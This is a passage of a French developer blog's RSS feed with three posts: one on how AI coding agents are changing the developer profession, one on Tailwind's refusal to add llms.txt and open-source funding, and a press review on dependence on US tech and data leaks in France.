            <content:encoded><![CDATA[<p>2025 a été un tournant majeur pour beaucoup de développeurs dans leur rapport à l&#39;IA avec l&#39;apparition des agents et c&#39;est sans doute que l&#39;on retiendra.</p>
<p>Bien sûr, cela fait maintenant 4 ans qu&#39;on parle d&#39;IA jusqu&#39;à l&#39;écœurement, j&#39;ai fait quelques posts et vidéos sur le sujet, mais l&#39;évolution entre début 2025 et début 2026 est désormais flagrante.</p>
<p>Avec cette évolution vient une question majeure, quel est l&#39;impact pour notre métier ? Comment le réinventer ?</p>
<p>Je vous propose une petite revue de presse pour aborder cette question.</p>
<h2>L&#39;ère des agents ?</h2>
<p>Dans cet article, <a href="https://simonwillison.net/2025/Dec/31/the-year-in-llms/">Simon Willison, co créateur de Django et Lanyrd, pointe le changement majeur de 2025</a> : l&#39;année des agents.</p>
<p>Avec l&#39;apparition fin 2024 des flows dans Windsurf et Claude Code en février 2025, tout a changé.
Pour beaucoup, nous sommes passés de simple copier-coller entre le navigateur web et notre IDE à une délégation complète de l&#39;activité de production de code.</p>
<p>2025, c&#39;est aussi :</p>
<ul>
<li>la popularisation de l&#39;expression vibe coding, qui continue de diviser entre incompréhension et mépris</li>
<li>la normalisation des abonnements à 200$/mois</li>
<li>les modèles conversationnels de génération d&#39;image comme nano banana (auparavant on n&#39;itérait pas, il fallait trouver le bon prompt du premier coup)</li>
<li>le début des modèles de code locaux, que j&#39;espère grandement voir se développer</li>
</ul>
<p>Allez lire l&#39;article de Simon, c&#39;est beaucoup plus complet. Mais ce qu&#39;il faut retenir c&#39;est qu&#39;avec ces agents, la nature même de notre métier a changé et c&#39;est sans doute pas près de s&#39;arrêter.</p>
<h2>Un métier en mutation</h2>
<p>Pour ceux, nombreux, qui continuent de ne pas utiliser l&#39;IA, ou qui utilisent uniquement l&#39;auto complétion basique dans l&#39;IDE, le réveil risque d&#39;être brutal. Le métier est en radical changement.</p>
<p>Je vous propose de lire cet article sur ce thème.</p>
<ul>
<li><a href="https://smaine-milianni.medium.com/the-inevitable-evolution-of-the-developer-role-fc5e97cb357d">"The Inevitable Evolution of the Developer Role" de Smaine Milianni</a></li>
</ul>
<p>Smaine insiste sur l&#39;évolution du rôle :</p>
<blockquote>
<ul>
<li>from execution to direction</li>
<li>from local optimizations to system-level thinking</li>
<li>from writing instructions to defining intent</li>
</ul>
</blockquote>
<p>Et bien sûr que c&#39;est inconfortable puisque ça relativise le prestige traditionnellement associé à l&#39;écriture de code, en apparence.</p>
<blockquote>
<p>When an LLM can generate boilerplate, implement well-scoped features, refactor safely, review code tirelessly… Then the act of typing code stops being the core differentiator, and that’s uncomfortable for many of us.</p>
</blockquote>
<p>Je dis bien en apparence, car si le métier change, l&#39;expertise/expérience reste un différenciateur important.
Dans le flow actuel, je reste celui qui donne les directives, je corrige l&#39;architecture, je définis le besoin et les problèmes à résoudre, les comportements attendus.</p>
<p><a href="https://yoandev.co/bons-mauvais-devs">Mais comme le précise yoandev</a></p>
<blockquote>
<p>l’IA exige une rigueur architecturale encore plus grande.
Pourquoi ? Parce que l’IA est un amplificateur. Elle magnifie ce qui existe déjà. Si je lui donne une codebase spaghetti, elle va produire plus de spaghetti, plus vite. Si je lui donne une architecture propre avec des responsabilités claires, elle devient un assistant chirurgical redoutablement efficace.
Le principe est simple : Garbage In, Garbage Out.</p>
</blockquote>
<p>Maintenant il faut bien comprendre que ces nouvelles pratiques sont apparus en 2025, le terme même de <a href="https://x.com/karpathy/status/1886192184808149383">vibe coding est apparu dans un tweet en février</a> ! Donc aujourd&#39;hui, l&#39;une des questions importantes, c&#39;est : &quot;comment allons-nous industrialiser ces nouveaux usages et les rendre plus compatibles avec une production logicielle fiable ?&quot;</p>
<h2>Le temps de l&#39;industrialisation</h2>
<p>Si je simplifie, mon métier est désormais de concevoir et d&#39;écrire ensuite ce que je veux voir apparaître dans mon application. C&#39;est un métier de rédaction, puis de vérification.
Je dois contrôler que l&#39;architecture est correcte, que la sécurité et la performance ont été prises en compte, que le modèle est cohérent.</p>
<p>Une fonctionnalité avancée me prend entre 2 et 6h en fonction de la complexité et de mes crédits disponibles ^^ (non je ne paie pas 200/mois).
Certaines fonctionnalités auraient pu me prendre 1 à 2 semaines de travail.</p>
<p>Pour Chris Loy, <a href="https://chrisloy.dev/post/2025/12/30/the-rise-of-industrial-software">le software devient une commodité</a></p>
<blockquote>
<p>Traditionally, software has been expensive to produce, with expense driven largely by the labour costs of a highly skilled and specialised workforce. This workforce has also constituted a bottleneck for the possible scale of production, making software a valuable commodity to produce effectively.
Industrialisation of production, in any field, seeks to address both of these limitations at once, by using automation of processes to reduce the reliance on human labour, both lowering costs and also allowing greater scale and elasticity of production. Such changes relegate the human role to oversight, quality control, and optimisation of the industrial process.</p>
</blockquote>
<p>Mais nous n&#39;en sommes qu&#39;au début et beaucoup se demandent justement comment fiabiliser ce qui est produit par les assistants de code, ce qui implique :</p>
<ul>
<li>d&#39;optimiser le nombre de tokens nécessaires pour réduire les coûts</li>
<li>de fiabiliser les sources documentaires utilisées par les IA</li>
<li>de garantir la cohérence globale via l&#39;usage de guidelines</li>
<li>de garantir la conformité entre l&#39;implémentation et la spec</li>
</ul>
<p>Bref, industrialiser.</p>
<p>Vous retrouverez toutes ces questions dans l&#39;article de Nicolas Martignole : <a href="https://touilleur-express.fr/2026/01/05/lia-generative-va-changer-notre-facon-de-coder-unpopular-opinion/">L’IA générative va changer notre façon de coder (unpopular opinion)</a></p>
<p>Il y a quelques approches qui ont déjà émergé comme :</p>
<ul>
<li><a href="https://github.com/bmad-code-org/BMAD-METHOD">BMAD</a> qui propose tout un ensemble d&#39;agents conversationnels pour simuler une équipe complète.</li>
<li><a href="https://github.com/github/spec-kit">SpecKit</a>, un peu dans le même esprit mais en beaucoup plus simple.</li>
</ul>
<p>Pour avoir essayé les deux, je ne m&#39;y suis pas retrouvé. Effectivement BMAD permet de simuler une équipe complète. Mais ça m&#39;a rappelé les travers des grandes boites. J&#39;ai quadruplé mon temps de conception, j&#39;ai explosé mon quota de crédits et la spécification produite était beaucoup trop verbeuse et complexe.
J&#39;ai eu l&#39;impression de faire du SAFe avec moi-même. Et c&#39;est pas une expérience que je recommande...</p>
<p>SpecKit est nettement plus simple, mais toujours trop verbeux à mon goût. Pour une simple fonctionnalité, il a créé une demi-douzaine de fichiers, des PRD, des specs fonctionnelles, des specs techniques etc...
C&#39;est sans doute ce qu&#39;on veut dans un grand groupe industriel. C&#39;est inadapté dans à peu près tous les autres contextes. Trop de doc tue la doc.</p>
<p>Ce serait dommage de réinventer un métier et de recréer immédiatement des bullshits jobs robotisés...</p>
<p>Maintenant puisqu&#39;on parle de mutation, est-ce la fin des développeurs ou le renouveau ?</p>
<h2>Fin ou renouveau ?</h2>
<p>Cette question est revenue tellement au fil des années que ça en devient caricatural.<br>Jusqu&#39;à présent, la conclusion a toujours été la même : non.</p>
<p>Parce qu&#39;on a eu le fameux effet rebond qui fait qu&#39;en simplifiant l&#39;usage, on a eu plus de demandes de développeurs.</p>
<p>J&#39;ai tendance à modérer cette conclusion qui devient trop automatique aujourd&#39;hui et j&#39;ai bien peur qu&#39;on se conforte dans une de sorte de réflexe pavlovien.
Oui la réponse a systématiquement été non mais je vous invite à réfléchir à cet article qui nous rappelle <a href="https://blog.ut0pia.org/le-developpeur-face-a-lia-sommes-nous-les-tisserands-de-1811">le parallèle entre les développeurs et les tisseurs de 1811 pendant la fameuse révolte des luddites</a>.</p>
<blockquote>
<p>Voici ce qu&#39;on oublie souvent : pendant la première révolution industrielle en Angleterre, les salaires réels ont stagné pendant 40 ans alors que la productivité explosait. Quarante ans. Deux générations de travailleurs ont vu leur niveau de vie se dégrader pendant que les propriétaires d&#39;usines s&#39;enrichissaient.</p>
</blockquote>
<p>Oui, il peut y avoir un effet rebond, mais ça peut prendre longtemps et ne pas forcément profiter à tous :</p>
<blockquote>
<p>Le World Economic Forum note que chaque révolution industrielle a créé plus d&#39;emplois qu&#39;elle n&#39;en a détruits. Mais (et c&#39;est un gros mais) les personnes qui perdent leur emploi ne sont pas forcément celles qui en trouvent un nouveau.</p>
</blockquote>
<blockquote>
<p>Les recherches historiques montrent que pendant la deuxième révolution industrielle, les jeunes travailleurs s&#39;adaptaient en changeant de métier vers les secteurs en croissance. Les travailleurs plus âgés, eux, restaient coincés dans des emplois dévalorisés ou basculaient vers des postes non qualifiés.</p>
</blockquote>
<p>Ce qui est sûr, c&#39;est qu&#39;il semble désormais y avoir une inéluctabilité à ces changements comme le rappelle <a href="https://antirez.com/news/158">Salvatore Sanfilippo, le créateur de Redis</a></p>
<blockquote>
<p>But, in general, it is now clear that for most projects, writing the code yourself is no longer sensible, if not to have fun. (...)
you can&#39;t control it by refusing what is happening right now. Skipping AI is not going to help you or your career.</p>
</blockquote>
<p>Même pour Linus Torvalds, <a href="https://github.com/torvalds/AudioNoise/commit/93a72563cba609a414297b558cb46ddd3ce9d6b5">la question ne se pose plus</a> :</p>
<blockquote>
<p>Is this much better than I could do by hand? Sure is.</p>
</blockquote>
<p>On retrouve ce même constat chez Jaana Dogan (principal engineer chez Google)</p>
<blockquote>
<p>I’m not joking and this isn’t funny. We have been trying to build distributed agent orchestrators at Google since last year. There are various options, not everyone is aligned, etc. I gave Claude Code a description of the problem, it generated what we built last year in an hour.</p>
</blockquote>
<p>Vous pourrez retrouver cette citation dans un article de Pragmatic Engineer qui parle du même sujet <a href="https://newsletter.pragmaticengineer.com/p/when-ai-writes-almost-all-code-what">When AI writes almost all code, what happens to software engineering?</a>.</p>
<p>Je pourrais aussi vous <a href="https://www.linkedin.com/posts/waxzce_dont-fall-into-the-anti-ai-hype-activity-7416895133855440896-nur4/">citer Quentin Adam (CEO de Clever Cloud)</a></p>
<blockquote>
<p>As developers, we should be careful not to turn healthy skepticism into outright rejection of innovation. History shows that many of the biggest leaps in our field came from tools or ideas that were initially dismissed as “dangerous”, “lazy”, or “not real engineering”.</p>
</blockquote>
<p>Pour finir sur une note plus optimiste, j&#39;ai aimé cet article de Mattias Geniar : <a href="https://ma.ttias.be/web-development-is-fun-again/">Web development is fun again</a></p>
<blockquote>
<p>There’s mental space for creativity in building software again.</p>
</blockquote>
<p>Je me retrouve pas mal dans cet article. Construire une application est difficile, mais j&#39;adore construire des produits. Désormais, je peux aller beaucoup plus loin, et plus rapidement. Je peux m&#39;attarder sur ce qui compte vraiment et pas refaire les mêmes boilerplate encore et encore pendant 20 ans. Pour moi, c&#39;est un accélérateur et ça change totalement la façon dont je crée du logiciel. Je passe plus de temps à réfléchir, concevoir, penser aux problèmes à résoudre et moins de temps à me prendre la tête sur des détails d&#39;implémentations. Je produis du meilleur logiciel et oui, c&#39;est fun.</p>
<p>Et maintenant ?</p>
<p>Difficile à dire ce que sera 2026 quand on voit à quelle vitesse tout a accéléré en 2025 d&#39;autant qu&#39;on peut difficilement mettre de côté ce qui se passe aussi dans le monde réel et les potentiels impacts que cela pourrait avoir sur nous.
Il me parait improbable que l&#39;on revienne en arrière sur l&#39;usage de l&#39;IA de façon volontaire, mais d&#39;autres évènements extérieurs pourraient nous contrarier en Europe, si par exemple les US nous coupaient l&#39;accès à certains services, ou s&#39;ils les utilisaient pour de l&#39;espionnage industriel à grande échelle.</p>
<p>Alors peut-être que ce sera l&#39;année de la recherche d&#39;optimisation pour faire tourner plus facilement, pour moins cher et moins énergivore, ces fameux agents sur des machines locales.
Ce sera peut-être aussi l&#39;année de l&#39;industrialisation de l&#39;usage des LLMs en entreprise, mais avec une séparation nette, entre des boites AI natives et les autres. Je ferai un article plus complet sur ce sujet précis dans le futur.</p>
<p>Quoi qu&#39;il en soit, restez à l&#39;écoute. Le métier change, vite.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390398-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Tailwind et l’open source à l’ère des LLM : quand la documentation ne monétise plus]]></title>
            <link>https://eventuallycoding.com/p/2026-01-tailwind-llm</link>
            <guid>https://eventuallycoding.com/p/2026-01-tailwind-llm</guid>
            <pubDate>Thu, 08 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Le refus de Tailwind d'ajouter llms.txt met en évidence un problème plus profond : comment les projets open source peuvent-ils survivre à une époque où les LLM remplacent le trafic de documentation et où les modes de monétisation traditionnels s'effondrent ?]]></description>
            <content:encoded><![CDATA[<p>Ces derniers jours, <a href="https://github.com/tailwindlabs/tailwindcss.com/pull/2388">une discussion autour de Tailwind</a> a remis sur la table une question de fond :<br><strong>comment financer un projet open source ?</strong></p>
<p>Ok, la question n&#39;est pas nouvelle et vous pourriez vous demander le rapport avec la discussion github ci-dessus.
Discutons-en.</p>
<p>La demande était simple : ajouter un fichier <code>llms.txt</code>, destiné à rendre la documentation plus facilement consommable par les LLM.<br>La réponse l’était tout autant : <strong>refus</strong>, pour des raisons économiques.</p>
<p>Mais quel rapport entre les deux ?</p>
<h2>Moins de trafic = moins d’argent</h2>
<p>Le raisonnement est en réalité très simple et est expliqué par Adam Wathan (créateur de Tailwind):</p>
<blockquote>
<p>Traffic to our docs is down about 40% from early 2023 despite Tailwind being more popular than ever. The docs are the only way people find out about our commercial products, and without customers we can&#39;t afford to maintain the framework.</p>
</blockquote>
<p>La documentation est aujourd’hui <strong>le principal canal marketing</strong> des produits commerciaux de Tailwind (sponsoring, Tailwind Plus, etc.).<br>Or, depuis 2023, le trafic vers ces docs a chuté de manière significative, alors même que Tailwind n’a jamais été aussi populaire.</p>
<p>L&#39;équation est donc simple :</p>
<ul>
<li>moins de trafic</li>
<li>moins de conversions</li>
<li>près de 80 % de revenus en moins</li>
<li>et, très concrètement, 75 % de l’équipe licenciée</li>
</ul>
<p>Dans ce contexte, <strong>simplifier l’accès des LLM à la documentation revient à accélérer la fuite de la seule source de revenus</strong>.</p>
<p>D’un point de vue purement économique, la décision se comprend et ce n&#39;est pas anti IA, c&#39;est simplement une réalité économique comme le précise Adam :</p>
<blockquote>
<p>Right now there&#39;s just no correlation between making Tailwind easier to use and making development of the framework more sustainable. I need to fix that before making Tailwind easier to use benefits anyone, because if I can&#39;t fix that this project is going to become unmaintained abandonware when there is no one left employed to work on it. I appreciate the sentiment and agree in spirit, it&#39;s just more complicated than that in reality right now.</p>
</blockquote>
<h2>Freiner l’intégration LLM : solution ou stratégie défensive ?</h2>
<p>La vraie question n’est pas “est-ce justifié ?”, mais plutôt :</p>
<blockquote>
<p><strong>Est-ce viable à moyen terme ?</strong></p>
</blockquote>
<p>Et selon moi, probablement pas. Les usages ont changé, les développeurs ne lisent plus systématiquement les docs. Ils interrogent ChatGPT, Copilot, Cursor ou Claude.
La documentation est consommée <strong>indirectement</strong>.</p>
<p>Nier cette réalité c&#39;est prendre plusieurs risques :</p>
<ul>
<li>des implémentations approximatives générées par les LLM</li>
<li>des concurrents plus “IA-native” mis en avant</li>
<li>une perte progressive de pertinence, malgré une adoption apparente</li>
</ul>
<p>Autrement dit, protéger le trafic aujourd’hui peut coûter la pertinence demain.</p>
<h2>Un problème plus large que Tailwind</h2>
<p>Ce débat dépasse largement Tailwind.</p>
<p>J&#39;utilise beaucoup Nuxt, j&#39;adore ce framework et il me semble qu&#39;ils ont connu des soucis similaires avec Nuxt UI ou Nuxt Studio.<br>Je prends Nuxt comme exemple, mais le problème est généralisable.</p>
<p>Depuis le rachat par Vercel, ces projets ont fini par devenir complètement open source et quelque chose me dit que l&#39;adoption de Nuxt-UI a explosé.</p>
<p>En fait, et surtout avec l&#39;IA, le traditionnel dilemme <em>build vs buy</em> est complètement bouleversé. Il est plus simple de prototyper rapidement, donc la valeur perçue des outils baisse et la monétisation devient plus difficile.</p>
<p>Attention, je ne dis pas que Nuxt, Tailwind Plus ou Nuxt-UI sont aisèment reproductibles avec l&#39;IA. Il y a aussi la vision de leurs créateurs qui en font des outils uniques. C&#39;est aussi parce que ce sont des outils open source que les feedbacks sont plus nombreux et que ces outils s&#39;améliorent continuellement.</p>
<p>Mais beaucoup de développeurs pourraient être tentés de ne pas acheter la petite partie payante d&#39;un projet open source sous prétexte que c&#39;est beaucoup plus accessible qu&#39;avant de le faire soit-même.
Bref, c&#39;est dur de vendre des modules additionnels sur des projets open source, et pour le coup c&#39;est pas un scoop, on le savait déjà.</p>
<p>Dans ce contexte, le rachat de Nuxt par Vercel peut se lire comme une manière d&#39;avoir de l&#39;air, de sécuriser le développement. Mais c&#39;est aussi une externalisation du problème avec un coût évident, une perte de contrôle et un risque de sous-investissement à long terme.</p>
<p>Ce n’est pas une solution structurelle, c’est un compromis.</p>
<p>Pour en revenir au sujet, une hypothèse se dessine de plus en plus clairement : <strong>La documentation ne sera plus un canal marketing humain.</strong></p>
<p>Elle sera lue par des machines, résumée, transformée, injectée dans des prompts.
Refuser cette évolution est un risque en soi.<br>Mais l’accepter sans modèle économique en est un autre.</p>
<h2>Quelles pistes possibles ?</h2>
<p>J&#39;essaie d&#39;y réfléchir et je vois plusieurs directions intéressantes.
La question n’est plus <strong>comment faire venir les développeurs sur le site ?</strong>  mais plutôt <strong>comment être présent là où ils codent réellement ?</strong></p>
<p>On va commencer par une piste, celle qui me séduit le moins :</p>
<ul>
<li>Docs consommables via API</li>
</ul>
<p>On pourrait imaginer que le fichier <code>llms.txt</code> soit proposé sur une API payante ou semi payante :</p>
<ul>
<li>avec rate limiting</li>
<li>potentiellement réservée aux clients ou sponsors</li>
</ul>
<p>C&#39;est techniquement faisable, mais j&#39;imagine pas chaque développeur prendre un abonnement pour chaque fichier llms.txt existants.</p>
<p>Maintenant je vois une seconde piste plus intéressante, et si on déplacait le marketing au plus près des utilisateurs ?</p>
<p><strong>EDIT</strong> : Quelqu&#39;un vient de m&#39;informer de l&#39;existence d&#39;un nouveau protocole actuellement testé par Cloudflare en version bêta : <a href="https://blog.cloudflare.com/introducing-pay-per-crawl/">pay per crawl</a>.</p>
<p>Sur le papier, cela pourrait être intéressant. L&#39;idée est de déclencher un échange entre le robot d&#39;indexation et Cloudflare afin de facturer à une IA des frais pour l&#39;indexation d&#39;une page donnée.</p>
<p>Si cela devenait la norme, si le coût par requête était très faible (par exemple, 0,00001 $ par appel) et si les agents IA étaient capables d&#39;intégrer cela dans leurs propres modèles de tarification pour les utilisateurs finaux, alors cela pourrait potentiellement fonctionner et fournir une nouvelle source de financement pour les projets open source.</p>
<p>Cela fait beaucoup de « si », mais pourquoi pas.</p>
<ul>
<li>MCP / serveur IA officiel</li>
</ul>
<p>Imaginons que Tailwind propose sa ressource MCP officielle mais avec des instructions pour que les agents IA mentionnent obligatoirement les produits payants au bon moment.</p>
<p>Ca peut être sous forme de bannière affichée régulièrement dans la console pour inciter à la visite du site ou signaler les produits payants.
Ca pourrait être aussi pour signaler à l&#39;utilisateur qu&#39;il est en train de refaire quelque chose qui existe déjà dans la version payante, par exemple dans Tailwind Plus.</p>
<p>L&#39;idée c&#39;est pas de créer une bannière intrusive, mais qui s&#39;affiche au bon moment, avec le bon message.</p>
<p><strong>EDIT</strong> : Vous pouvez également créer un serveur MCP payant qui sera très utile pour votre produit. C&#39;est <a href="https://daisyui.com/blueprint">l'approche adoptée par DaisyUI</a>. Ce serveur MCP comprend divers outils qui vont au-delà de la simple connaissance de la documentation, avec des bonnes pratiques, des outils de migration et des modèles.</p>
<p>Plus j&#39;y pense et plus je considère que le vrai déplacement à opérer est là, <strong>ne plus chercher la monétisation uniquement dans le navigateur</strong> mais <strong>dans l’outil où le développeur travaille réellement</strong></p>
<p>Aujourd’hui, c’est le prompt.
Et quelque chose me dit que ce problème est généralisable aux moteurs de recherche qui se font également bypasser de plus en plus mais c&#39;est une autre histoire. Ce qui est sûr, c&#39;est que je ne serais pas étonné d&#39;avoir des placements de produits dans le futur dans les LLMs.</p>
<p>Bref, le problème n’est pas l’IA. Le problème, c’est que le modèle économique de l’open source reposait sur un monde qui n’existe plus et si l’usage a quitté le navigateur pour le prompt, la monétisation devra suivre.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390540-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Haro contre la tech US, la culture de la sécurité passoire en France, et plus...]]></title>
            <link>https://eventuallycoding.com/p/2026-01-tech-independence-data-leak-as-a-service</link>
            <guid>https://eventuallycoding.com/p/2026-01-tech-independence-data-leak-as-a-service</guid>
            <pubDate>Fri, 02 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Dépendance à la tech US, souveraineté numérique, culture de la sécurité défaillante en France et veille critique sur l’actualité tech européenne.]]></description>
            <content:encoded><![CDATA[<p>Ce début 2026 marque un tournant clair : la dépendance technologique n’est plus un débat théorique, mais un risque politique immédiat.</p>
<p>Alors, je vous propose une petite revue de presse, avec commentaires, nouveau format sur ce blog</p>
<p>Au programme :</p>
<ul>
<li>sortir de la dépendance tech US, une tendance de fond</li>
<li>la culture de la sécurité passoire en France</li>
<li>des retours d&#39;expérience dans le monde des startups</li>
<li>une faille majeure à rapidement patcher</li>
</ul>
<h2>Sortir de la dépendance tech US</h2>
<p>Sur ce début d&#39;année 2026 il y a un thème qui est beaucoup revenu : comment sortir de la dépendance tech aux US ?</p>
<p>De mon côté, c&#39;est un thème que j&#39;ai déjà exploré plusieurs fois :</p>
<ul>
<li>26 janvier 2025 <a href="https://eventuallycoding.com/2025/01/bye-twitter">Pourquoi j'ai quitté Twitter et pourquoi vous devriez y penser aussi</a></li>
<li>13 mars 2025 <a href="https://eventuallycoding.com/2025/03/tech-neutrality">Le mythe de la neutralité : Pourquoi la tech est politique</a></li>
<li>23 mars 2025 <a href="https://eventuallycoding.com/2025/03/europe-vs-usa-tech-choices">Europe Vs USA : la tech à l'heure des choix</a></li>
<li>02 avril 2025 <a href="https://eventuallycoding.com/2025/04/score-tech-dependency">Calculer son score de dépendance à la tech US</a></li>
<li>07 décembre 2025 <a href="https://eventuallycoding.com/2025/12/building-independent-tech-2025">Construire une application indépendante de la tech US en 2025</a></li>
</ul>
<p>Et récemment, tous ces sujets sont très actifs, alors je vous propose quelques articles sur ce thème :</p>
<ul>
<li><a href="https://www.lemonde.fr/pixels/article/2025/12/23/regulation-de-la-tech-washington-cible-thierry-breton-et-des-ong_6659269_4408996.html">l'interdiction pour Thierry Breton de se rendre aux US</a></li>
</ul>
<p>Cette interdiction fait notamment suite au rôle de Thierry Breton dans le cadre des régulations de la tech en Europe.</p>
<blockquote>
<p>Depuis trop longtemps, les idéologues européens mènent des actions concertées pour contraindre les plateformes américaines à sanctionner les opinions américaines auxquelles ils s’opposent, L’administration Trump ne tolérera plus ces actes flagrants de censure extraterritoriale
Marco Rubio secrétaire d&#39;état américain</p>
</blockquote>
<ul>
<li><a href="https://www.lefigaro.fr/international/interdiction-de-sejour-croisade-contre-la-censure-washington-s-acharne-sur-les-magistrats-francais-et-allemands-20251230">Menace contre les magistrats Européens qui pourraient s'en prendre aux partis d'extrèmes droite en Europe</a></li>
</ul>
<p>Cet article provient du Figaro mais pour faire bonne mesure on peut aussi citer <a href="https://www.humanite.fr/monde/administration-trump/les-magistrats-ayant-condamne-marine-le-pen-dans-le-viseur-de-ladministration-trump">l'Humanité qui traite le même sujet</a>.</p>
<p>Et oui, les Us passent à l&#39;acte après la sortie de leur rapport sur le programme national de sécurité qui visent notamment à déstabiliser l&#39;Europe. Leur objectif est d&#39;installer des partis nationalistes (lol) proches des intérêts US (et Russe d&#39;ailleurs) au pouvoir.
Oui, faut bien relire la phrase, et non, il n&#39;y a pas d&#39;erreurs.</p>
<p>Bref, la menace devient de plus en plus tangible et ça ne manque pas de faire parler.</p>
<ul>
<li><p><a href="https://petitions.assemblee-nationale.fr/initiatives/i-2610?locale=fr">via une pétition qui demande au gouvernement de ne plus utiliser X pour ces communications officielles</a> (Une petite signature ne ferait pas de mal...)</p>
</li>
<li><p><a href="https://www.ccc.de/de/updates/2025/ccc-unterstutzt-den-monatlichen-digital-independence-day">un appel récent du Chaos Computer Club</a>, célèbre club de Hacker allemand pour se détourner des plateformes technologiques américaines.</p>
</li>
</ul>
<p>Attention, malgré un nom mignon qui pourrait rappeler le comité contre les chats, le <a href="https://en.wikipedia.org/wiki/Chaos_Computer_Club">CCC</a>, créé en 1981 est le plus grand groupe de Hackers en Europe.
Dans cette annonce le CCC insiste sur les risques extra territoriaux posés par l&#39;usage des plateformes techs.
  Et vous pourrez retrouver une version condensée et <a href="https://www.linkedin.com/posts/nicolas-mariotte-211714_en-allemagne-des-hackers-lancent-une-campagne-activity-7412159168918441984-dGU0">en Français sur Linkedin</a>.</p>
<ul>
<li><a href="https://bonpote.com/comment-trump-peut-mettre-la-france-a-genoux-en-24h/">Bon pote également s'inquiète de ce qui pourrait se passer si Trump le décidait</a></li>
</ul>
<p>L&#39;article souligne bien les soucis liés à notre dépendance, le risque d&#39;un embargo numérique, le sous investissement dans la tech, même si je parlerais plutot d&#39;un manque de vision technologique de mon côté.</p>
<p>D&#39;ailleurs quand on lit ce passage, il n&#39;est pas impossible qu&#39;on dise la même chose</p>
<blockquote>
<p>Aucune application numérique à succès n’a été construite par des hommes en costard dans un bureau de “maîtrise d’ouvrage” pilotant des managers d’entreprise de service numérique (ESN) pilotant des consultants au turnover. Aucune.</p>
</blockquote>
<p>Je regrette peut-être juste parfois le discours &quot;tant pis que ce soit nul si c&#39;est francais&quot;.
Non, faut pas encourager les mauvais produits à rester mauvais. On a l&#39;opportunité d&#39;être bon, la capacité de l&#39;être, des bons exemples, mais faut pas défendre des mauvais produits parce que c&#39;est &quot;souverain&quot;.
Et j&#39;ai une petite impression que l&#39;indépendance dans cet article est uniquement avec une vision Francaise, et pas Européenne, ce qui me semble assez irréaliste pour le coup.</p>
<ul>
<li>On peut citer aussi le <a href="https://berthub.eu/articles/posts/you-can-no-longer-base-your-government-and-society-on-us-clouds/">billet de Bert Hubert, fondateur de PowerDNS</a></li>
</ul>
<p>Bert Hubert insiste lui aussi sur les risques liés à la dépendance aux clouds américains (risque juridique, politique, d&#39;interuption de service etc...)</p>
<p>Et donc dans la lignée de tout ça on retrouve des articles plus pratiques, afin de migrer nos services vers des alternatives européennes :</p>
<ul>
<li><a href="https://www.zeitgeistofbytes.com/p/bye-bye-big-tech-how-i-migrated-to">Ce billet qui parle de Proton, VPN, Lumo</a></li>
<li><a href="https://n.gridem.fr/2025/02/09/moving-from-google-workspace-to-infomaniak-ksuite/">Celui-ci qui parle de migration de Google vers Infomaniak</a></li>
<li><a href="https://n.gridem.fr/2025/02/19/moving-from-github-to-codeberg/">Celui là qui parle de passer de Github à Codeberg</a></li>
</ul>
<p>Bref, il y a une vraie tendance de fond et une vraie prise de conscience.</p>
<p>Et pour conclure, une petite stat qui fait plaisir, <a href="https://www.mediametrie.fr/fr/audience-internet-global-en-novembre-2025">X sort du top 50 des sites les plus utilisées. Il est désormais derrière Lidl, DailyMotion ou LaPoste</a></p>
<p>Voilà, voilà...</p>
<p>Bon par contre, vu ce que j&#39;écris désormais sur ce blog, il y a peu de chances que je passe les <a href="https://www.lemonde.fr/international/article/2025/12/10/aux-etats-unis-l-administration-trump-veut-imposer-l-examen-de-l-historique-des-reseaux-sociaux-aux-touristes-etrangers_6656745_3210.html">futures demandes de VISA pour les US qui veulent désormais pouvoir fouiller mes réseaux sociaux</a>.<br>En même temps je prévois pas d&#39;y aller...</p>
<h2>La culture de la sécurité passoire en France</h2>
<p>Korben en a profité cette semaine pour sortir un <a href="https://korben.info/hacks-france-2025-bilan.html">article de bilan des dernières fuites de données en France</a> et c&#39;est... navrant : 48 organisations françaises piratées en un an.</p>
<p>A ce stade, il y a tellement d&#39;infos qui ont fuité de partout et qui sont corrélables facilement, que je serais pas surpris que les pirates soient capable de me découvrir de la famille cachée.<br>Je sais même plus pourquoi je dois créer des mots de passe avec 15 caractères spéciaux, 3 majuscules, 2 poèmes de Victor Hugo si de toute façon c&#39;est open bar partout.</p>
<p>Au-delà de la plaisanterie, c&#39;est un vrai problème. A force de voir une fuite par semaine, on en oublie le risque concret qui se pose à nous.<br>Plus aucune données n&#39;est privé, on sait exactement ce que vous consommez, ce que vous pensez, ce que vous pourriez voter.</p>
<p>Et ce profilage ça ne sert pas qu&#39;à vous vendre des trucs, mais à vous vendre aussi des idées. C&#39;est exactement ce qui a été à l&#39;origine de Cambridge Analytica. Pour toutes les prochaines élections, vos données sont des mines d&#39;or.<br>Dans une période difficile (Cf le chapitre précédent) où chaque future élection risque d&#39;être manipulée allégrément, ce profilage est inquiétant.
Sans parler de ce que ça dit sur nos systèmes de sécurité et donc des attaques possibles sur nos institutions.<br>La poste vient de se faire trouer 2 fois en 15 jours, revendiqué par des groupes russes. Les conflits se jouent aujourd&#39;hui dans l&#39;espace numérique et apparemment on n&#39;est pas les mieux armés.</p>
<p>Pour conclure cette petite veille sécurité, <a href="https://bigdata.2minutestreaming.com/p/mongobleed-explained-simply?hide_intro_popup=true">une faille vient d'être détectée sur Mongo</a>, je vous invite à rapidement la patcher</p>
<h2>Articles divers et néanmoins intéressants</h2>
<p>Histoire de conclure sur une note plus légère, je vous invite à lire</p>
<ul>
<li>ce très bon retour d&#39;un ex-CTO : <a href="https://y0no.fr/posts/no-longer-cto/">I'm (no longer) CTO b*tch</a></li>
</ul>
<p>Il y a des thèmes assez universels sur le boulot de CTO, ou de création de boite, et d&#39;autres plus spécifiques au monde du service.</p>
<ul>
<li>ce très bon billet qui parle des <a href="https://marcgg.com/blog/2025/11/17/cross-team-work/">différentes limites de chaque modèle d'organisation qu'on peut rencontré dans les boites techs</a>.</li>
</ul>
